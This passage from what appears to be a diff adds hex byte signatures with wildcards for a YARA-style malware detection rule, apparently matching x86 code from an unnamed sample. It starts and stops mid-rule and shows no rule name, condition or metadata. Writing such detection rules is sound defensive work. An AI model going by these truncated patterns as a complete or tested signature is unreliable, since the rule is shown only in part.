?? ?? ?? 2B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? BE ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? 8B ?? BE ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 0B ?? 0F 84 }
+		$block_1 = { 8B ?? 5? 5? 5? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? A3 ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? BF ?? ?? ?? ?? BF ?? ?? ?? ?? B8 ?? ?? ?? ?? 4? 4? 8B ?? B9 ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 4? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B ?? B8 ?? ?? ?? ?? BE ?? ?? ?? ?? 4? 8B ?? 8B ?? A1 ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? A3 ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? A1 ?? ?? ?? ?? FF 0? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? FF 0? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? 4? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 8B ?? FF 0? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? BE ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BE ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 8B ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? 4? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? 8B ?? 8B ?? 8B ?? FF 0? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 4? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? B9 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B ?? 8B ?? A1 ?? ?? ?? ?? BB ?? ?? ?? ?? BA ?? ?? ?? ?? BB ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B ?? A1 ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? BE ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? B8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 4? BE ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? 8B ?? 8B ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 4? 2B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 4? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? B9 ?? ?? ?? ?? BE ?? ?? ?? ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? FF 0? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? BE ?? ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? 8B ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 4? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF D? 8B ?? BA ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 4? 89 ?? ?? ?? ?? ?? 8B ?? BA ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 4? BE ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? 8B ?? 4? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? BA ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? 0B ?? 0F 84 }
+		$block_2 = { 5? 8B ?? 5? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? BB ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? BE ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? BA ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? A3 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? 4? 8B ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? BA ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 8B ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? BF ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? 4? 4? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? FF 0? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? BA ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 4? 8B ?? 8B ?? 8B ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? BE ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? BB ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? BF ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 85 ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? 8B ?? FF 0? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? FF 0? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? 8B ?? ?? FF 0? ?? ?? ?? ?? 8B ?? FF 0? ?? ?? ?? ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? BA ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 0F 84 }
+		$block_3 = { 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? 4? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 8A ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? BF ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 8B ?? 8B ?? 8B ?? 8B ?? 8B ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 32 ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 88 ?? 8B ?? 4? 2B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? BB ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? 8B ?? 03 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? BE ?? ?? ?? ?? 8B ?? 8B ?? 